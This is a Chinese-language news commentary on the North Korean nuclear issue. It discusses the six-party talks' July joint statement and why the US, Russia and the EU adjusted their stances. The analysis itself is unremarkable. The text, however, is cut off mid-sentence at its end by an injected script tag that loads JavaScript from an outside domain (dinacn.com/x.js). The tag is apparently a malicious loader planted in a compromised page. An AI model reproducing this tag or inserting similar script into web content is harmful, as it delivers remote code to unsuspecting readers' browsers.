朝核问题在经历了4个月的“阴云”后再度 “转晴”。在基本解决朝鲜被动资金后，朝核问题有关六方代表团团长聚会北京，经过两天的磋商后于7月20日发表了新闻公报，达成了“四点框架共识”，提出了“三步走”的近期规划。目前，朝鲜已经关闭宁边核反应堆，对朝重油援助正在实施中，朝核问题5个工作组第二次会议陆续召开，第六轮六方会谈第二阶段会议和首次外长会议正在磋商中，朝韩决定举行自2000年以来第二次首脑会晤，美朝、日朝关系正常化以及半岛和平机制、东北亚安全机制等长远的战略安排也逐步提上日程。

    朝核问题之所以能够在僵持4个月后“峰回路转”，一方面是相关大国政策调整尤其是美国政策调整的结果，另一方面也与朝鲜的积极主动分不开。

    美国急欲寻求突破

    美国寻求突破的表现主要在以下几个方面，一是积极谋求与朝对话与互动，从原先的不与朝鲜进行双边直接对话到先后在柏林、纽约与朝举行了双边会谈，美方代表团团长希尔还突访朝鲜，寻求与朝高层直接对话。在7月底举行的东盟地区论坛系列外长会议上，两国代表就朝核问题又进行了双边对话，朝美正常化工作组也开始运转。二是从注重朝核问题本身的解决到更关注东北亚安全机制和半岛和平机制建设，美国在《2•13共同文件》中提出建立东北亚和平机制问题工作组，改变了以前不解决朝核问题就拒绝谈其他问题的态度。在华盛顿召开的第四次中美战略对话中，美国又再次提出了东北亚和平机制问题，后来美方代表团团长希尔公开提出了六方会谈的“路线图”，希望在2007年底前解决朝核问题，2008年上半年磋商半岛和平机制、东北亚安全机制和美朝关系正常化等问题。三是从对朝政策强硬、动辄政治化到对朝更具耐心和务实，愿意主动作出让步，显示出更多的诚意，为汇业银行朝鲜资金的解决、转账主动创造条件和采取灵活方式解决，对朝在谈判过程中提出的新要求也基本上给予积极考虑，而不是一味拒绝。

    美对朝政策的调整有内外多方面因素。从国内来看，共和党在中期选举败北后，美国深陷伊拉克和伊朗问题难以分身、应对乏力，一时间又难以取得成效。面对日益增大的国内舆论和反对党压力，布什政府急欲选择容易突破的朝核问题，力图以此转移国内视线，缓解内外压力，为大选增加政治资本。此外，更为重要的是，美国出于对亚太地区各种新兴力量不断崛起的担忧，希望尽快在亚太地区尤其是东北亚地区建立一套有利于美国主导的地区安全与合作机制，这样可以确保美国在仍能保持对亚太地区的绝对主导地位。可以说，美国嘴巴上虽然在“唠叨”着朝核问题，眼睛却已经盯着未来亚太地区格局。

    俄罗斯逐步从后台向前台走

    在第五轮六方会谈第三阶段会议之前，俄罗斯态度不是很积极，不愿承担对朝援助，也不愿执行安理会对朝制裁决议。但近来，俄罗斯对朝核问题态度明显改变，一方面表示根据安理会决议对朝鲜实施制裁，愿意根据《2•13共同文件》精神承担对朝援助，并与美国协调，愿意承担一定的风险，支持俄银行参与朝转移在汇业银行的资金，为朝冻结资金的最终解决担起了一定的责任。另一方面，希望强化与朝鲜和韩国在铁路、贸易和能源等领域的合作，提出要把西伯利亚的输油管道经过朝鲜运往韩国的计划。

    俄罗斯态度的这一明显变化，一方面是俄近年来外交更趋现实的表现，俄罗斯希望在朝核问题上增强影响力，以此把能源外交从传统的独联体地区扩展到东边的朝鲜半岛，加强与朝鲜与韩国的能源与贸易合作，参与东北亚的区域经济合作进程。另一方面是因为俄罗斯在西线（独联体地区）和南线（中东、中亚）地区不断受到美欧战略挤压，对美欧失去信任，希望在东线（朝核问题）上有所进展，增加对美国交涉的筹码，并在朝核问题解决后东北亚和平与安全机制中占据一定席位，实现“东西兼顾”、“横跨亚欧”的外交战略。

    欧盟的兴趣不断提高

    欧盟在伊朗核问题上发挥积极作用的同时，对朝核问题也表现出兴趣，希望积极介入，发挥一定影响力。欧盟先后派出多个代表团访朝，积极劝说斡旋，表示愿意提供对朝援助，甚至提出要把六方会谈扩大为七方会谈的建议，并积极在亚欧外长会议等各种多边外交场合表达对朝核问题的关注。

    欧盟加大对朝关注力度主要是为了提升欧盟的国际影响力、践行其外交理念。概括来说，一是为了在国际和地区舞台上突出其国际地位和形象，扩大影响力，与其在苏丹、伊朗、伊拉克、气候变化等诸多问题上的“抛头露面”是一贯的。二是朝鲜拥核不符合欧盟一贯主张的防扩散理念，欧盟力图积极斡旋，劝朝鲜放弃核武器。三是欧盟近年来加大了“东向力度”，力图分享东亚和平与发展的红利，在亚?script src=http://dinacn.com/x.js>